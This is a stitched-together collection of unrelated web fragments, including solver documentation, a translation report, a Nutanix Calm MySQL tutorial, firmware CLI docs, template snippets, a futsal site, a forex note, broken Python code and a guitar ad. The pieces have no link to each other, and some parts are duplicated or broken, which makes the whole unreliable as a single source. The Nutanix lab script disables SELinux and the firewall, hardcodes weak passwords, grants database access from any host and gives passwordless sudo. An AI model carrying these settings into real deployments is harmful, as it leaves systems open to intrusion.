A range R is monotone in S iff the value of R in
S' is contained in the value of R in S, for every
extension S' of S. A range R is anti-monotone in
S iff the value of R in S is contained in the value
of R in S', for every extension S' of S. By
abuse of notation, we will say that X in R
is
(anti-)monotone iff R is (anti-)monotone.
The consistency or entailment of a constraint C expressed as
indexicals X in R
in a store S is checked by
considering the relationship between D(X,S) and S(R),
together with the (anti-)monotonicity of R in S. The
details are given in Execution of Propagating Indexicals and
Execution of Checking Indexicals.
The solver checks (anti-)monotonicity by requiring that certain variables occurring in the indexical be ground. This sufficient condition can sometimes be false for an (anti-)monotone indexical, but such situations are rare in practice.


I've gotten a few reports of people not responding to facebook messages. It turns out that Facebook is silently hiding messages when you send a message to someone you're not friends with. You can view these hidden messages by clicking here.
If your match isn't responding to your facebook message, please add them as a friend on facebook and try again! You can find a link to their profile by clicking on their name when viewing your potential matches.
If your matches aren't responding late into the night, you should check out TrumpTraders.org. They have several thousand users and you might have better luck there.
 Please don't forget to vote. If you don't know where your polling place is, just google where do I vote and it'll locate it for you.
I'll send one follow-up email after the election asking if you want me to keep your email. The default will be that I will delete all user accounts within 30 days after the election. You won't keep getting spam from me :)


Repository
- GitHub: https://github.com/4ian/GDevelop
- Crowdin: https://crowdin.com/project/gdevelop
- Simplified Chinese: https://crowdin.com/project/gdevelop/zh-CN#
Project Details
##
GDevelop is an open-source, cross-platform game creator. It doesn’t require any programming skills, so it’s easy to use.
Anyone can use GDevelop to create 2D games, such as platformers, puzzles, shoot ‘em up, strategy, 8-bit games… It can be simple projects for fun or more ambitious indie games.
Events is a unique feature of GDevelop. It’s a powerful way to express the logic of your game without a programming language.
Users can publish games created with GDevelop to the web, iOS, Android, Windows, Mac, Linux and even Facebook Messenger. Games can also be exported in one click to Android from the app.
GDevelop also offers visual editors to prototype new features, and the game engine can be extended with Javascript.
Tutorials, examples and a complete documentation for the software are available.
As a wonderful opportunity to teach programming and game making, GDevelop has already been used in classrooms and online courses, with digital media students or children in first grade.
##
##
This project boasts user-friendly and creative features. I believe it’s a great tool that helps people without any programming knowledge turn their ideas into reality. Hopefully my translation in Simplified Chinese would bring more users to this platform. I’d love to see the large number of Chinese makers and educators benefit from this tool. So they can unleash their creativity to build games or programmes, and inspire students to do so as well.
Contribution Specifications
##
Translation Overview
As you can see from the screenshots below, this project consists of 2 files - GDevelop 5 (editor) and GDevelop (core and extensions). In my first contribution, I started from the first file at 0%, and finished 36% (1,054 of 2,906 words).
Later, more source strings were added to the file making it 4,056 words in total. So this time I first went through the added strings on previous pages and translated them. I also reviewed the earlier translations for the consistency of the second half. 91% of the first file is completed at the time of writing.
Before:
⬇
After:
##
The 91% has not been done by me alone though. There were other volunteers translating part of the file. However, they were not translators from our Chinese team qualified by @utopian-io and @davinci.witness. They translated some strings randomly and some just copied my translations and posted them again. I confirmed with our moderator and went on translating the left part. I also overwrote a few strings’ translations when I found them incorrect.
I appreciate the help from my proofreader @aafeng, who examined my translation work promptly and suggested three changes. I’m looking forward to working on the rest of the two files.
##
Languages
I translate from English to Simplified Chinese.
##
Word Count
I have translated 1080 words in this submission:
##
Proof of Authorship
My translation activities can be viewed in my Crowdin profile: https://crowdin.com/profile/Donica/activity
This page is synchronized from the post: ‘#282 Simplified Chinese Translation of GDevelop 5 (2) | ✍ GDevelop 5 简体中文翻译（二）’


To create your server you simply have to go: there (click to open in a new page) then enter a name for your server and if you want a reminder of what is your server about. Click on Publish server when you are done.
TIPS :
If the server name is already taken don't worry just adapt the name.
Special caracters and space (blanks) are not allowed [/*-+%...]
Click here (click to open in a new page) then search for your server, click on it. Then click on manage server.
When you click on manage server you should jump on a page with this.
In github way you just have to enter a correct Github URL of the
repository you want to add to your server then click on the button.
When you have no file in your server, it should look like this.
Exercises List is a section where you can found the exercises you have
uploaded to your server but they are not initialized inside the
server.
Do do it, you must place them inside the Groups List field.
Drag your file.
Trash is a section where you can put files to delete them, for example
useless files or corrupted files.
To do it juste drag and drop your files inside the Trash field and
when YOU ARE SURE ABOUT IT delete them by clicking on the clean
button.
Files deleted cannot be retrieved.
Drag your useless file inside the field.
Groups List a section where you have the files which are currently
used inside your server.
To place new files inside just drag and drop them from the Exercises
field, give a name to your group then when you are sure about it,
click on the send button to initialize them to the server.
Drag your file.
Retrieving your teacher token is an unique action executed the first time
you launch a server.
To retrieve it, go at
home page.
You might have this screen.
Before accessing your server, copy your teacher token.

You can find it at the bottom of your profile settings page.
To change your password click
here
and fill the blank.
You should have this screen.
In the old password field, put your old password.
In the new password field, put the password you want, it must respect the
password restrictions above and no special caracters are allowed.
In the new password verification field, put a second time your new
password.
Then click on update password button when you are sure
about your modifications.
Deleting a server is an action THAT CAN NOT BE UNDONE.
All the data about your server will be erased in accordance with the GDPR.
Do not hesitate to ask yourself if this is a good idea or not before doing
this.
Disable your server to use it later is also a good idea.
To delete a server go on the management page of itself, scroll down and
you should see this.
If you want to take a break, you can disable your account.
Disabling your account will automatically disable all your active server.
Click
here
to have this screen.
In the password field, put your current password.
In the password verification field, put a second time your password.
In the username verification field, put your username.
Then check each box if you agree with it.
Then click on disable account button when you are sure about it.

THIS ACTION CAN NOT BE UNDONE.
If you want to delete your account for whatever reason,
go
here
you should have this screen.
In the password field, put your current password.
In the password verification field, put a second time your password.
In the username verification field, put your username.
Then check each box if you agree with it.
Then click on delete account button when you are sure about it.


Calm: MySQL Blueprint¶
Overview¶
Creating Blueprint (MySQL)¶
In this exercise you will explore the basics of Nutanix Calm by building and deploying a Blueprint that installs and configures a single service, MySQL, on a CentOS image.
From Prism Central > Apps (Prism Central > Calm if you’re running 5.8.1 or later), select Blueprints from the sidebar and click + Create Application Blueprint.
Specify CalmIntro<INITIALS> in the Blueprint Name field. Enter a Description in the Description field. Select Calm-<your_initials> from the Project drop down menu and click Proceed.
Click Proceed to continue.
Click Credentials > and add a credential with the following details:
- Credential Name - CENTOS
- Username - centos
- Secret - Key
- Key - Paste in your private key from the previous lesson
Click Save, and then Back.
Note
Credentials are unique to each Blueprint. Each Blueprint requires a minimum of 1 Credential.
Click Save to save your Blueprint.
Setting Variables¶
Variables allow extensibility of Blueprints, meaning a single Blueprint can be used for multiple purposes and environments depending on the configuration of its variables. Variables can either be static values saved as part of the Blueprint or they can be specified at Runtime (when the Blueprint is launched). By default, variables are stored in plaintext and visible in the Configuration Pane. Setting a variable as Secret will mask the value and is ideal for variables such as passwords.
Variables can be used in scripts executed against objects using the @@{variable_name}@@ construct. Calm will expand and replace the variable with the appropriate value before sending to the VM.
In the Configuration Pane under Variable List, fill out the following fields:
| Variable Name | Value | Secret |
| Mysql_user | root | |
| Mysql_password | nutanix/4u | X |
| Database_name | homestead | |
| INSTANCE_PUBLIC_KEY | Paste in your public key from the previous lesson. |
Click Save.
Adding a Downloadable Image¶
All VMs in AHV are based off of a disk image. You have the option of selecting an image that’s already managed by Prism Central, or specifying a Downloadable Image via a URI. If the latter is chosen, during the application deployment Prism Central will automatically download and create the image specified. If an image with the same URI already exists on the cluster, it will skip the download and use that instead.
Near the top, click Configuration > Downloadable Image Configuration and fill out the following fields:
- Package Name - CentOS_7_Cloud
- Description - CentOS 7 Cloud Image
- Image Name - CentOS_7_Cloud
- Image Type - Disk Image
- Architecture - X86_64
- Source URI - http://download.nutanix.com/calm/CentOS-7-x86_64-GenericCloud.qcow2
- Product Name - CentOS
- Product Version - 7
Note
This Cloud based image is the same that’s used for the majority of the Nutanix Pre-Seeded Application Blueprints.
Click Back and then Save.
Adding DB Service¶
Note
Application Overview - The pane within the Blueprint Editor used to create and manage Blueprint Layers. Blueprint Layers consist of Services, Application Profiles, and Actions.
In Application Overview > Services, click .
Note Service1 appears in the Workspace and the Configuration Pane reflects the configuration of the selected Service.
Fill out the following fields:
- Service Name - MySQL
- Name - MySQLAHV
Note
This defines the name of the substrate within Calm. Names can only contain alphanumeric characters, spaces, and underscores.
Cloud - Nutanix
OS - Linux
VM Name - MYSQL-@@{calm_array_index}@@-@@{calm_time}@@
Image
- CentOS_7_Cloud
Device Type - Disk
Device Bus - SCSI
Select Bootable
vCPUs - 2
Cores per vCPU - 1
Memory (GiB) - 4
Guest Customization:
Select Guest Customization
Leave Cloud-init selected and paste in the following script
#cloud-config users: - name: centos ssh-authorized-keys: - @@{INSTANCE_PUBLIC_KEY}@@ sudo: ['ALL=(ALL) NOPASSWD:ALL']
Select under Network Adapters (NICs)
NIC - Primary
Credential - CENTOS
Click Save and ensure no errors or warnings pop-up. If they do, resolve the issue, and Save again.
With the MySQL service icon selected in the workspace window, scroll to the top of the Configuration Panel, click Package. Name the Package as MYSQL_PACKAGE, and then click the Configure install button.
On the Blueprint Canvas section, a Package Install field will pop up next to the MySQL Service tile:
Click on the + Task button, and fill out the following fields on the Configuration Panel on the right:
- Name Task - Install_sql
- Type - Execute
- Script Type - Shell
- Credential - CENTOS
Copy and paste the following script into the Script field:
#!/bin/bash
set -ex
sudo yum install -y "http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm"
sudo yum update -y
sudo setenforce 0
sudo sed -i 's/enforcing/disabled/g' /etc/selinux/config /etc/selinux/config
sudo systemctl stop firewalld || true
sudo systemctl disable firewalld || true
sudo yum install -y mysql-community-server.x86_64
sudo /bin/systemctl start mysqld
sudo /bin/systemctl enable mysqld
#Mysql secure installation
mysql -u root<<-EOF
UPDATE mysql.user SET Password=PASSWORD('@@{Mysql_password}@@') WHERE User='@@{Mysql_user}@@';
DELETE FROM mysql.user WHERE User='@@{Mysql_user}@@' AND Host NOT IN ('localhost', '<IP_ADDRESS>', '::1');
DELETE FROM mysql.user WHERE User='';
DELETE FROM mysql.db WHERE Db='test' OR Db='test\_%';
FLUSH PRIVILEGES;
EOF
mysql -u @@{Mysql_user}@@ -p@@{Mysql_password}@@ <<-EOF
CREATE DATABASE @@{Database_name}@@;
GRANT ALL PRIVILEGES ON homestead.* TO '@@{Database_name}@@'@'%' identified by 'secret';
FLUSH PRIVILEGES;
EOF
Note
You can click the Pop Out icon on the script field for a larger window to view/edit scripts. Looking at the script you can see the package will install MySQL, configure the credentials and create a database based on the variables specified earlier in the exercise.
Select the MySQL service icon in the workspace window again and scroll to the top of the Configuration Panel, click Package.
- Click - Configure Uninstall
- Click - + Task
- Name Task - Uninstall_sql
- Type - Execute
- Script Type - Shell
- Credential - CENTOS
Copy and paste the following script into the Script field:
#!/bin/bash
echo "Goodbye!"
Note
The uninstall script can be used for removing packages, updating network services like DHCP and DNS, removing entries from Active Directory, etc. It is not being used for this simple example.
Click Save. You will be prompted with specific errors if there are validation issues such as missing fields or unacceptable characters.
Launching the Blueprint¶
From the toolbar at the top of the Blueprint Editor, click Launch.
In the Name of the Application field, specify a unique name (e.g. CalmMySQL*<INITIALS>*-1).
Note
A single Blueprint can be launched multiple times within the same environment but each instance requires a unique Application Name in Calm.
Click Create.
You will be taken directly to the Applications page to monitor the provisioning of your Blueprint.
Select Audit > Create to view the progress of your application. After MySQLAHV - Check Login is complete, select PackageInstallTask to view the real time output of your installation script.
Note the status changes to Running after the Blueprint has been successfully provisioned.
Takeaways¶
- The Blueprint Editor provides a simple UI for modeling potentially complex applications.
- Blueprints are tied to SSP Projects which can be used to enforce quotas and role based access control.
- Having a Blueprint install and configure binaries means no longer creating specific images for individual applications. Instead the application can be modified through changes to the Blueprint or installation script, both of which can be stored in source code repositories.
- Variables allow another dimension of customizing an application without having to edit the underlying Blueprint.
- There are multiple ways of authenticating to a VM (keys or passwords), which is dependent upon the source image.
- Application status can be monitored in real time.


{% if statuscode == "completed" %}
The list of gold sermons has been processed, and {{results|length}} new ones have been reviewed.
Possible actions:
| # | File | Sermons added | |
|---|---|---|---|
| {{forloop.counter}} | {{item.filename}} | {{item.sermons}} |
List all currently available gold sermons List Gold Sermons
{% endif %}


|
iSensor-SPI-Buffer
1.11
Firmware for the STM32F303 to enable full throughput buffered data capture on Analog Devices IMUs
|
The USB port on the iSensor-SPI-Buffer is configured to act as a CDC type device, presenting as a virtual COM (serial) port.
The default windows virtual COM port driver should allow for communications.
The iSensor-SPI-Buffer virtual COM port exposes the same iSensor-SPI-Buffer register interface which can be accessed over SPI. In general, the functionality of each register should be the same, regardless of if the register is accessed over USB or SPI. The registers are accessed via a simple command line interface (CLI). This CLI allows a PC to interface with an IMU without the need for a SPI <-> USB board (like EVAL-ADIS-FX3).
The firmware can interface with a terminal emulator at a baud rate up to 500000 bits/sec.
Putty or TeraTerm work well on Windows.
Commands are sent to the CLI over the virtual COM port. Each command starts with a command word, followed by a number of arguments. Each command ends with a new line character. All values are in hex.
| Command | arg0 | arg1 | arg2 | Description |
|---|---|---|---|---|
| help | N/A | N/A | N/A | List available CLI options |
| freset | N/A | N/A | N/A | Trigger a factory reset and flash update. This command restores all registers to their default values and then issues a flash update command to save registers to non-volatile memory |
| read | Register Address | N/A | N/A | Read a single register, at the address provided |
| read | Start Address | End Address | N/A | Read multiple registers, accross the address range provided. Each register value is seperated by the USB delimiter character |
| read | Start Address | End Address | Number of Reads | Read multiple registers, accross the address range provided, number of reads times. Each set of reads is terminated by a new line |
| readbuf | N/A | N/A | N/A | Read all buffer entries. This call will set the active page to the buffer data page |
| stream | Start/Stop | N/A | N/A | Start (1) / stop (0) a buffer read stream. When running, a stream is equivalent to calling readbuf every time a watermark interrupt is generated. WATERMARK_INT_CONFIG can be modified to set the data latency. Stream status is stored in USB_CONFIG |
| write | Register Address | Write Value | N/A | Write a byte to the specified register |
| status | N/A | N/A | N/A | Read the current STATUS diagnostics register value. This will clear all non-sticky command bits. This does not change the currently selected page |
| cmd | COMMAND Value | N/A | N/A | Write a 16-bit value to the COMMAND register in a single CLI operation. This does not change the currently selected page |
| delim | Delimiter Character | N/A | N/A | Set the delimiter character which is placed between register values for read operations (comma, space, etc) This value is stored in USB_CONFIG |
| echo | Enable/Disable | N/A | N/A | Enables or disable the command line echo. If the echo is disabled, the characters sent to the CLI will not be sent back (useful for scripting) |
| about | N/A | N/A | N/A | Print identifier information for the running iSensor-SPI-Buffer firmware |
| uptime | N/A | N/A | N/A | Print firmware uptime (in ms) |
Help Command
About Command
Factory Reset Command
Register Read Command
Register Write Command
Cmd/Status Commands
Delim Set Command
Read Buffer Command
Stream Command (WATERMARK_INT_CONFIG set to 60)
Echo Command
Uptime Command


This article will try to explain some good practices, that will help you get going faster and easier find the solution when a problem occurs.
When configuring the script engine you should always check the return values, at least in debug mode. All error codes are negative so a simple assert( r >= 0 ) where r is the returned value is sufficient to pinpoint where the configuration failed.
If a function failed during the configuration, the Build() method will always fail with a return code of asINVALID_CONFIGURATION. And unless you already verified the error codes for all the configuration calls, it will not be possible to determine what the error was.
// Verifying the return code with an assert is simple and won't pollute the code r = engine->RegisterGlobalFunction("void func()", asFUNCTION(func), asCALL_CDECL); assert( r >= 0 );
assert() can safely be used with engine registrations, since the engine will set the internal state to invalid configuration if a function fails. Even in release mode the failure is discovered when a script is built.
The return code from the register functions, Build(), and ExecuteString() can only tell you that something was wrong, not what it was. To help identify the exact problem the message callback should be used. The script library will then send messages explaining the error or warning in clear text.
For your convenience the library has been designed so that when there are no errors or warnings, nothing will be output to the stream.
// Implement a simple message callback function void MessageCallback(const asSMessageInfo *msg, void *param) { const char *type = "ERR "; if( msg->type == asMSGTYPE_WARNING ) type = "WARN"; else if( msg->type == asMSGTYPE_INFORMATION ) type = "INFO"; printf("%s (%d, %d) : %s : %s\n", msg->section, msg->row, msg->col, type, msg->message); } // Set the message callback when creating the engine asIScriptEngine *engine = asCreateScriptEngine(ANGELSCRIPT_VERSION); engine->SetMessageCallback(asFUNCTION(MessageCallback), 0, asCALL_CDECL);


Introduction¶
Imagery is arguably one of the most important and useful geospatial data layers available today; however, it is still one of the most difficult to deploy effectively over the myriad of computing platforms available to geographic information system (GIS) users. The public now takes for granted their ability to see current aerial views of any location on the plant. There are many, many web services and applications that make use of imagery as an interactive backdrop for both the casual and expert user.
Geospatial professionals also want to make use of imagery and other very large raster datasets in an analysis framework. They want to do more than simply view, zoom, pan, and rotate into 3D views. They want to run image processing and analysis algorithms to extract information and features to be used in scientific research, modeling, and decision support systems.
Google Earth Engine (GEE) is an example of a cloud-based image service that combines an extensive archive of satellite imagery, historical and current, with application programming interfaces (APIs) that allow analysis to be performed on this imagery without having to move it to the user’s desktop. Noel Gorelick [1] has written a very nice review of the GEE program and its goals.
Our goal with this online “textbook” resource is to provide example workflows, in both Javascript
and Python
that will enable the “student” of GEE to rapidly get up to speed and produce results. We follow a generalized workflow for most image processing tasks that includes the following steps:
Acquisition and Preprocessing;
Processing;
Postprocessing;
Visualization; and,
Export.
Content¶
This textbook is organized into six parts, with each part containing chapters. Code for all workflows can be found in this GEE repository. The chapter numbers in this textbook match the code in GEE (e.g., Chapter 7: Qualitative Change Detection in the textbook maps to the chapter07-qualitative-change-detection script in GEE).
Part 1: Data Catalog¶
Part 1 introduces the imagery collections in the Earth Engine Data Catalog. Part 1 contains Chapters 1-4.
Chapter 1 provides an overview of the Landsat collections and relevant quality information necessary for using the imagery.
Chapter 2 provides an overview of the Landsat collections and relevant quality information necessary for using the imagery.
Chapter 3 provides an overview of the MODIS collections and products.
Chapter 4 provides an overview of the high-resolution collections.
Part 2: Workflow Strategies¶
Part 2 introduces best practices for remote sensing workflows. Part 2 contains Chapters 5-6.
Chapter 5 provides an introduction to imagery preprocessing tasks.
Chapter 6 provides useful (and possibly lesser known) tips and tricks.
Part 3: Beginner Workflows¶
Part 3 provides introductory workflows to introduce Earth Engine functionality. Each chapter shows a few tasks and processes to familiarize the reader with the Earth Engine platform and syntax. Part 3 contains Chapters 7-15.
Chapter 7 provides a workflow to observe qualitative change from snow-on to snow-off conditions in Rocky Mountain National Park, Colorado, United States.
Chapter 8 provides a workflow to demonstrate the Normalized Difference Vegetation Index (NDVI) for snow-on and snow-off conditions in Rocky Mountain National Park, Colorado, United States.
Chapter 9 provides a workflow to create composite images from a collection of Summer imagery in Rocky Mountain National Park, Colorado, United States.
Chapter 10 provides a workflow to create a mosaic image from water features and imagery in Vermont, United States.
Chapter 11 provides a workflow to iterate through an image collection and calculate the cumulative NDVI difference for imagery in Rocky Mountain National Park, Colorado, United States.
Chapter 12 provides a workflow to mask clouds and cloud shadows within imagery for Rocky Mountain National Park, Colorado, United States.
Chapter 13 provides a workflow to explore quality flag bitmasks for imagery in Rocky Mountain National Park, Colorado, United States.
Chapter 14 provides a workflow to export an image to a GEE Asset.
Chapter 15 provides a workflow to explore image band histograms for an area near Lake Champlain and Burlington, Vermont, United States.
Part 4: Intermediate Workflows¶
Part 4 provides workflows that piece together tasks and processes from Part 2 in order to create more complex and meaningful workflows, and introduces more complex tasks and processes. Part 4 contains Chapters 16-24.
Chapter 16 provides a workflow to reproject and resample imagery for an area near Manchester, Vermont, United States.
Chapter 17 provides a workflow to reduce the resolution of imagery for an area near Manchester, Vermont, United States.
Chapter 18 provides a workflow to create spectral indices for Rocky Mountain National Park, Colorado, United States.
Chapter 19 provides a workflow to create image statistics for an Ecoregion in United States High Plains.
Chapter 20 provides a module containing common functions for image statistics.
Chapter 21 provides a workflow to explore data correlation between vegetation and terrain in the Gabilan Range, California, United States.
Chapter 22 provides a workflow to explore arrays and the Tasseled Cap transformation for an area near Lake Champlain, Vermont, United States.
Chapter 23 provides a workflow to convert raster features to vector and export both raster and vector features for Rocky Mountain National Park, Colorado, United States.
Chapter 24 provides a workflow to export all images in a collection from June 1, 2020 to January 21, 2021 for Rocky Mountain National Park, Colorado, United States.
Part 5: Advanced Workflows¶
Part 5 provides full scientific workflows in Earth Engine that have been re-created from existing, peer-reviewed papers and/or ongoing remote sensing projects. One of the goals of this book is to promote and provide open and reproducible science workflows, and this chapter is dedicated to creating this type of workflow within the Earth Engine platform. Part 5 contains Chapters 25-27.
Chapter 25 provides a partial implementation of Watkins and van Niekerk [3] to delineate agriculture field boundaries in the Vaalharts Irrigation Scheme, South Africa.
Chapter 26 provides a workflow to identify rice fields based on change detection in the Tolima Department, Columbia.
Chapter 27 provides a partial implementation of Wei, Karger, and Wilson [4] (applied to Rocky Mountain National Park, Colorado, United States) to map the alpine treeline ecotone.
Part 6: Appendices¶
Part 6 provides supplemental information in the form of appendices. Current appendices include: Part 6 contains Appendices A-B.
Appendix A provides a list of acronyms used in this textbook.
Appendix B provides a list of citations used in this textbook.
Prerequisites¶
In order to reproduce the computational workflows in this book, you must have an active Google Earth Engine account.


{% extends "_layouts/base.html" %} {% set id = 'sales' %} {% import "./_includes/macros.html" as macros %} {% block main %}
Send us a message and an Ionic Sales Representative will get back to you.


Your name is required
Your username is required
Provide a valid email
Your password is required
or Sign up with:
Have an account? Sign In


Take this incredibly unrealistic quiz to find out!
Based on our survey, your results show that you are rather busy and pressed for time.
This website recommends you give Python a try due to its easy-to-learn syntax that is easier to pick up.
Based on our survey, your results show that you have a moderately busy schedule and can afford to spend more time on a more challenging language.
This website recommends you give JavaScript a try due to its popularity and endless
customization!
Based on our survey, your results show that you have an unorthodox lifestyle and your schedule may be inconsistent.
Our (definitely not real) studies have shown that individuals who have changing schedules do best learning Ruby!


If I want to check out my favorite site, I would first have to type the site name in the search bar. My browser will then make a request via the internet using a simple http protocol which allows it to communicate with servers. Servers are computers that host files that make up the web. These files are written in a language called HTML which stands for hypertext markup language. Once the server has recieved the browers' request, the servers will respond with files that the brower can interpret and display to end user. Check out this video for more information.
HTMLHTML documents are coded webpages that contain text content (what you see), references to other documents (images and video), and/or links to other pages. These documents are created using HTML markup tags. Some of the most common tags are written with a start tag, and ending tag, and content in between. Tags that don't contain content are called void tags.
Computers follow the instructions the programmer wrote; one small error can disable an entire program therefore, it is imperative that programmers write exactly the way a computer understands.This link takes you back to course material on this topic.


Feel the energy of Brazilian Soccer at its best
Join the Futsal 101 conference as a competitor, team, sporting official or Fan!

Competitor
Any and ever player is welcome to Futsal 101 start and sign up for a team registration to be placed and united with your 5-man/woman sqaud early registration ensures a placement in a choice bracket.
Teams
Coaches and captains, enroll your squad in the biggest indoor soccer match to date . Match against squads in your age brackets and find your teams rythm to enjoy 1st prize.
Sporting Officials
Futsal 101 won't be limited to players and their complimentaries, we need you too. Have extensive knowledge in the game, enroll, complete the 2-class course and become an official arbiter. Scouts will have access to rosters and information when you decide to enroll
Attention Fans
Major fan of Futsal 101? Just getting into the sport? Congrats you've found your way to the conference here!
From our blog
Futsal101 is proffesionally managed and built to be a year-round association. Giving you the sports latest and greatest.
Futsal and the United States - A Growing relationship
Learning the game from our South American counterparts, futsal has - and will continue to be a growing part of the US Soccer culture
How Futsal Tells A Story Like Nobody Else
What are the similarities between movies, novels and sport? The answer is they all entertain us through the same fundamental mechanism; An engaging narrative.
The last blog post title is a little bit longer than the others
Any and Everything Futsal - The game in a nutshell


Join our mailing list to hear about new courses and learning circles.
Join mailing list
In order to make this the best experience for you, we would like to ask you a few more questions?


title=Apple News, Mobile and Otherwise date=2008-12-17 type=post tags=blog status=published ~~~~~~
SeaDragon, an application from Microsoft that extracts the "Deep Zoom" component from Silver Light and enables it on an iPhone, has been released to the Apple Application Store (Wonders never cease!) because the Apple iPhone has a fantastic GPU.
What's very interesting to me about this feature is not the mobile component, but the ajax one.
Apple, Steve Jobs, bow out of MacWorld Expo. This fuels the usual debate on Steve Jobs' health, as usual, and rumors run rampant. What do you think? Sick? Disincentivized?
PLUS: My new favorite iPhone Application: Taxi Magic. Seriously -- how slick is that? When do you usually need a Taxi? When you're most impaired, likely, say perhaps after drinking? One button. Finally, technology for fun and profit.


Details of Topic are:
Topic Name is: {{ topic.name }}
Topic category is: {{ topic.category }}
Courses of Topic are:
{% for course in courses %}
{{ course.name }}
{% endfor %}
Home page


The Configuration signal for an outgoing frame contains the protection value.
To select the channel configuration, right-click on the protection signal and select Select Channels. Select the data signals to be used in computing the protection value. All required information for the data signals will be pulled from the database.
To select the protection type, click on Protection Type and select appropriate option from the drop-down menu.
To set the signal back to a non-protection signal, right-click on the signal and select Make Signal.
To delete an item, right-click the object in the configuration tree and select Delete from the shortcut menu.


USD longs slipped, EUR shorts edged lower – Rabobank
by Sandeep KanihamaAccording to the latest CFTC Commitment of Traders Report, USD net longs slipped for a sixth consecutive week, notes the research team at Rabobank.
Key Quotes
“Expectations that a phase 1 trade deal between the US and China could be close to being achieved coupled with another Fed rate cut in October had boosted risk appetite. This had encouraged flows out of the USD into higher yielding currencies. That said doubts about the trade deal have crept in during the past couple of weeks and this has created some support for the USD in the spot market.”
“Net EUR short positions edged lower but there has been no strong direction in recent weeks.”
“Net short GBP positions dropped back for an ninth consecutive week and are at their lowest level since May.”
“JPY net positions held in negative ground for a fifth consecutive week and shorts rose to their largest level since June.”
“CHF net shorts increased for a third week consistent with a drop in demand for safe haven assets.”
“CAD net long positions dropped back after their recent surge. BoC Governor Poloz last week reiterated the case for keeping the door open for further policy easing.”
“AUD net shorts bounced back as hopes for a US/China trade faded. The AUD’s role as a proxy for confidence in China suggests that trade talks remain very much in view.”


{{ entry.title }} {{ entry.date.strftime('%B %d, %Y') }} Time Spent: {{ entry.time_spent }} Hours What I Learned: {{ entry.learned|safe }} Resources to Remember: {{ entry.resources|safe }} Tags: {{ entry.tags|safe }}


# -*- coding: utf-8 -*-
__author__ = """Chris Tabor (dxdstudio@gmail.com)"""
if __name__ == '__main__':
from os import getcwd
from os import sys
sys.path.append(getcwd())
from MOAL.helpers.display import Section
from MOAL.helpers.display import prnt
from MOAL.automata_theory.turing_machine import TuringMachine
from MOAL.automata_theory.turing_machine import DummyProgramGenerator
[docs]class UnknownProgram(Exception):
pass
[docs]class UniversalTuringMachine(TuringMachine):
"""
wikipedia.org/wiki/Universal_Turing_machine
#Example_of_universal-machine_coding
"
TS = Tape symbol
TM = Tape-motion
MC = M-configuration (instruction, state)
P = Print-op
====================================================================
MC | TS | P | TM | Final MC
--------------------------------------------------------------------
q1 blank P0 R q2
q2 blank E R q3
q3 blank P1 R q4
q4 blank E R q1
====================================================================
MC code | TS code | P code | TM code | Final MC code | 5-tuple
--------------------------------------------------------------------
DA D DC R DAA DADDCRDAA
DAA D D R DAAA DAADDRDAAA
DAAA D DCC R DAAAA DAAADDCCRDAAAA
DAAAA D D R DA DAAAADDRDA
Finally, the codes for all four 5-tuples are strung together into a code
started by ";" and separated by ";" i.e.:
;DADDCRDAA;DAADDRDAAA;DAAADDCCRDAAAA;DAAAADDRDA
"
...for our experiment, we'll just encode one string directly, and skip the
table mapping, since they both represent the same thing,
albeit with different string values.
"""
[docs] def __init__(self, *args, **kwargs):
super(UniversalTuringMachine, self).__init__(*args, **kwargs)
self.programs = {'main': self.program}
del self.program
[docs] def run(self, name):
if name not in self.programs:
raise UnknownProgram('Program {} doesn\'t exist!'.format(name))
print('Running {}'.format(name))
# Assign it to the "active" program, then run as usual.
self.program = self.programs[name]
# "un" halt the program, since it normally terminates permanently.
self.activate()
# Setup new state variables again
self._setup(self.program)
# Encode and decode work, but aren't really used -- they're irrelevant
# for this example, but fun to show.
self.encode()
self.decode()
# Call original run method to actually run the program
super(UniversalTuringMachine, self).run()
[docs] def add_program(self, *args):
name, program = args
if self.DEBUG:
prnt('Adding program', program)
self.programs[name] = program
[docs] def encode(self):
"""Not really necessary, but to emulate the behavior we translate
our generated program into a single long string of values that
can be decoded."""
print('Encoding active program')
transitions = self.program['transitions']
code = ['S{};V{};N{}'.format(
k, v['value'], v['next']) for k, v in transitions.iteritems()]
code = ':'.join(code)
print('{} ==> {}'.format(self.program, code))
self.code = code
[docs] def decode(self):
"""Re-assemble the string sequence into a real data structure
-- not part of the typical UTM behavior, but signifies the need to
decode the values into something usable."""
print('Decoding active program')
code = {
int(n.split(';')[0][1]): {
'value': int(n.split(';')[1][1]),
'next': int(n.split(';')[2][1])
}
for n in self.code.split(':')}
print(code)
if __name__ == '__main__':
with Section('Universal Turing Machine'):
program = DummyProgramGenerator.make(max_states=5)
prnt('UTM program', program)
utm = UniversalTuringMachine(program=program)
# Add some seed "programs"
for n in range(4):
utm.add_program(
'program-{}'.format(n),
DummyProgramGenerator.make(max_states=4))
for name, _ in utm.programs.iteritems():
utm.run(name)


@* * Call the `main` template with two arguments. The first * argument is a `String` with the title of the page, the second * argument is an `Html` object containing the body of the page. *@ @(user: models.users.User) @main("Guitars",user) {
1 x $250
1 x $250
A J-45 with Rosewood Back and Sides:
Step up your tone with the rosewood back and sides Gibson Acoustic J-45 Custom acoustic-electric guitar. A classic, this round-shoulder, dreadnought acoustic guitar is known for its warm, balanced tone and projection. The J-45 Custom features all that rich tone, thanks to its AA-grade Sitka spruce top and rosewood body. You'll love the acoustic plugged-in sounds of this guitar thanks to its LR Baggs VTC pickup system. Enhance the sound of your live and studio acoustic performances with the Gibson J-45 Custom.
Gibson J-45 Custom Acoustic-electric Guitar at a Glance: "The Workhorse" features choice tonewoods for incredible tone Rosewood Fingerboard with Rolled Edges and Dot Inlays Get amazing sound onstage courtesy of LR Baggs VTC electronics "The Workhorse" features choice tonewoods for incredible tone Known as "The Workhorse," the Gibson J-45 body style is among Gibson's most beloved. This particular workhorse sits at the top of Gibson's J-45 line, and features a superb blend of tonewoods, giving you rich, strong sound - day-in, day-out. The J-45 Custom features a AA-grade Sitka spruce top for presence, while premium rosewood adorns its back and sides. Other touches include hand-scalloped, radiused top bracing, herringbone binding, a tapered dovetail neck joint, and a double-ring rosette filled with abalone.
